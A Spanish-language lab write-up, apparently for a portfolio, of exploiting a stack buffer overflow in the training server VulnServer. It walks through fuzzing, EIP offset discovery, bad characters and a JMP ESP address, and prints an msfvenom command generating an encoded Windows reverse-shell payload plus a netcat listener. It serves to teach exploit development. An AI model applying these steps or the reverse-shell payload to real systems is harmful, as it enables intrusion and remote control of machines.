Documento técnico que describe una metodología completa y reproducible para el análisis y explotación responsable de vulnerabilidades binarias en entornos de laboratorio. Incluye fases del proceso, herramientas, ejemplos prácticos, flujo de trabajo ante 0days binarios, consideraciones éticas y propuestas de mitigación. Este material está pensado para ser mostrado como parte de un portfolio profesional.
- Introducción
- Configuración del laboratorio 2.1 Red
- Programas y herramientas necesarias 3.1 VulnServer 3.2 Mona 3.3 Immunity Debugger 3.4 IDA Free 3.5 Scripts PY
- Metodología de Análisis 4.1 Fases Metodológicas del Análisis
- Despliegue de la explotación 5.1 Reconocimiento y fuzzing 5.2 Descubrimiento del Offset a EIP 5.3 Control y validación EIP 5.4 Identificación de Bad Characters 5.5 JMP ESP 5.6 Generación del Shellcode
Análisis práctico y replicable de explotación binaria a través de vulnserver: metodología, evidencias y mitigaciones, orientado a la formación profesional en reverse engineering y exploit development.
El laboratorio se ha montado como un entorno aislado y reproducible compuesto por dos máquinas virtuales:
-
Windows 11 (Target / Debugger): máquina que aloja el servicio vulnerable y donde se realiza el análisis dinámico con depurador.
-
Kali Linux (Attacker): máquina atacante para generación de payloads, fuzzing y ejecución de scripts de prueba.
Configuración de red: ambas VMs en una red interna
En esta practica utilizaremos estas herramientas:
Es un servidor de prueba diseñado intencionalmente con vulnerabilidades, usado principalmente para practicar explotación de binarios y desarrollo de exploits en Windows. Se descarga desde aqui.

Es un plugin/scripting toolkit escrito en Python creado por Corelan Team para facilitar y automatizar tareas comunes en el desarrollo de exploits y el análisis de crashes dentro de depuradores Windows (principalmente Immunity Debugger, pero existen adaptaciones para WinDbg/x64dbg). Se descarga desde aqui.
Herramienta que es un depurador (debugger) para Windows especializado en seguridad informática y explotación de vulnerabilidades. Se descarga desde aqui.

Cuando abrimos !mona en Immunity Debugger nos da error. Para solucionarlo tenemos que abrir la carpeta donde se ha instalado Immunity Debugger y buscar la carpeta PyCommands. A continuación pegamos el archivo .py de mona. Esto lo solucionará.

Es un desensamblador y entorno de análisis estático de binarios interactivo, ampliamente usado por analistas de malware, reversing engineers y exploit developers para entender el código máquina sin tener el código fuente. Se descarga aqui.
Scripts de python para los exploits. Se descarga aqui

A continuación tienes una guía técnica con las fases metodológicas que debes aplicar para el análisis de vulnerabilidades binarias.
- Reconocimiento Objetivo: caracterizar el binario y su superficie de ataque. Herramienta: Nmap
- Análisis estático Objetivo: localizar funciones/parsers/paths vulnerables sin ejecutar el binario. Herramienta: IDA Free
- Fuzzing Objetivo: encontrar entradas que provoquen fallos sin escribir exploits manualmente. Herramienta: Scripts de Python
- Triaging y análisis de crashes Objetivo: determinar causa raíz y si el fallo es explotable. Herramienta: Immunity + Mona
- Exploit Objetivo: construir una PoC que demuestre impacto de forma segura. Herramienta: ImmunityDebugger + Mona + Python
Explotación del comando TRUN en VulnServer
- Vamos abrir VulnServer en el CMD de Windows y lo ejecutamos.

- Abrimos la Kali y verificamos que escucha con
nc <IP_target> 9999.

- Ponemos el comando
HELPpara visualizar los comandos disponibles:
- Con el primer script de python vemos que se conectará al server y enviará el comando
HELP. Al ejecutar deberá mostrarse el comando.
Con el segundo script enviamos paquetes más largos de forma incremental sobre el comando TRUN.
- Abrimos Immunity Debugger, vamos a
File > Attach > vulnservery pulsamosPlay.
- Lanzamos el script fuzzing y vemos que muestra el crash al alcanzar los 2200 bytes y así colgando el programa.

- Desde Kali obtenemos este script
.spky lo ejecutamos.

- Si se ha realizado con éxito podemos observar como el fuzzing ha funcionado.

El descubrimiento del offset a EIP consiste en determinar la posición exacta dentro de un input en la que se sobrescribe el registro de retorno. Primero se envía un patrón único y reproducible que provoca un fallo controlado, luego se identifica el valor que quedó en EIP y se calcula la distancia (offset) desde el inicio del payload hasta ese registro.
Configuramos Mona en Imminuty Debugger para guardar los logs con el comando !mona config -set workingfolder <ruta del archivo>
Es importante saber el EIP para saber cual es la longitud y sobrescribir por demás para generar el buffer overflow. Se puede visualizar en Immunity.
- Generamos un patrón cíclico para encontrar el desplazamiento exacto del fallo y se guardara en el directorio que pusimos anteriormente:
!mona pattern_create 3000
Ejecutamos el script de Python y al crashear el programa nos fijamos el valor que ha sobrescrito el EIP, en este caso es 396F4338
Después del crash en Immunity, en la consola de Immunity ejecuta:!mona pattern_offset 396F4338
Mona devolverá el offset en bytes, por lo que el offset es 2006 bytes que es la longitud hasta sobrescribir el EIP.
- Enviar un patrón único que provoque el crash, ejecutamos el siguiente exploit que envia 2006 bytes de
Aseguidos y de 4 bytesBBBB
- Tras el exploit, visualizamos en Immunity el registro de EIP esta sobrescrito donde
BBBB= 42424242. En el valor del tope de la pilaESP, hacemos click derecho y seleccionamosFollow in Dumpy nos mostrara lasAy luego lasBBBBpara ver la sobreescritura.
Lo que indica que se ha conseguido dominar el flujo de ejecución hasta ese punto y permite avanzar a la etapa siguiente
El objetivo de identificar badchars es detectar qué bytes son transformados, filtrados, truncados o interpretados de forma especial por el objetivo antes de que la carga útil llegue íntegra a memoria. Es importante identificar y excluir cualquier carácter incorrecto que pueda corromper la carga útil.
- Caracteres malos comunes: \x00, \x0A, \x0D, \xFF.
- Ahora usaremos
!mona modulespara listar las DLL que no están protegidas y saber si la explotación es viable. En este caso vemos que es viable ya que indica False.
- Ahora ejecutamos el siguiente comando:
mona jmp -r esp. Estas son direcciones de memorias en las que hay un salto hacia ESP
- Ejecutamos el siguiente script de la secuencia completa de bytes
\x00–\xFF(usada para detectar badchars)
- Tras ejecutar el script, el crash del servidor es inevitable y el EIP señala
42424242. En el registro ESP, hacemos click derecho le damos aFollow in Dumpy visualizaremos el byte nulo\x00que termina la ejecución.
- Para automatizar esto y que sea mucho mas fácil usaremos
!mona bytearray -b "\x00"que se utiliza para enviar la secuencia al objetivo excluyendo el\x00, inspeccionar la memoria en el depurador y detectar qué bytes son modificados o truncados por el servicio, proporcionando la lista definitiva de bytes a excluir al construir el shellcode.
- En el siguiente código hacemos una comparación usando el mismo address ESP :
!mona compare -f C:\Users\vboxuser\Desktop\Vuln\LogsMona\vulnserver\bytearray.bin -a 00F3F9CC
Como resultado el byte nulo "\x00" es el único badchar
Volvemos a las direcciones en donde haya un salto a la ESP, utilizaremos nuevamente !mona jmp -r esp y seleccionamos la dirección 0x625011c7.
Vamos a CPU y en el cuadro izquierdo superior con click derecho le damos go to > expression.
Esta dirección tiene un salto hacia el ESP.
Ejecutamos el script para hacer la prueba del salto con una secuencia de 10 NOPS (\x90) y 3 (0xCC) breakpoints donde termina.
Vemos el resultado y confirmamos que se redirige la ejecución correctamente.
- Abrimos Kali Linux y generamos el payload que si se ejecuta en un objetivo establecerá una reverse shell.
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.60 LPORT=443 EXITFUNC=thread --bad-chars "\x00" -e x86/shikata_ga_nai --format python
msfvenom: herramienta para generar payloads (parte de Metasploit).-p windows/shell_reverse_tcp: Un reverse shell para Windows: el equipo objetivo abre una conexión hacia el atacante y le da una shell.LHOST=192.168.1.60: IP a la que el payload intentará conectarse (la “máquina atacante”).LPORT=443: puerto de destino en esa IP (aquí 443, el puerto HTTPS habitual).EXITFUNC=thread: indica cómo debe terminar el payload cuando finaliza (detalles técnicos de limpieza).--bad-chars "\x00": caracteres a evitar en el binario (por ejemplo elNUL), útil para evitar romper ciertos vectores de entrega.-e x86/shikata_ga_nai: encodificador/obfuscador para transformar el payload (intenta evadir firmas sencillas).--format python: formatea la salida como código Python (por ejemplo para incrustarlo o generar un script).
Comando Netcat que pone a la máquina escuchando en el puerto 443 a la espera:
sudo nc -nlvp 443
Ejecutamos script para hacer la reverse shell
Se me crashea el vulnserver al lanzar el script y no llega la escucha desde nc en kali he probado de todo y no encuentro la manera de arreglarlo
















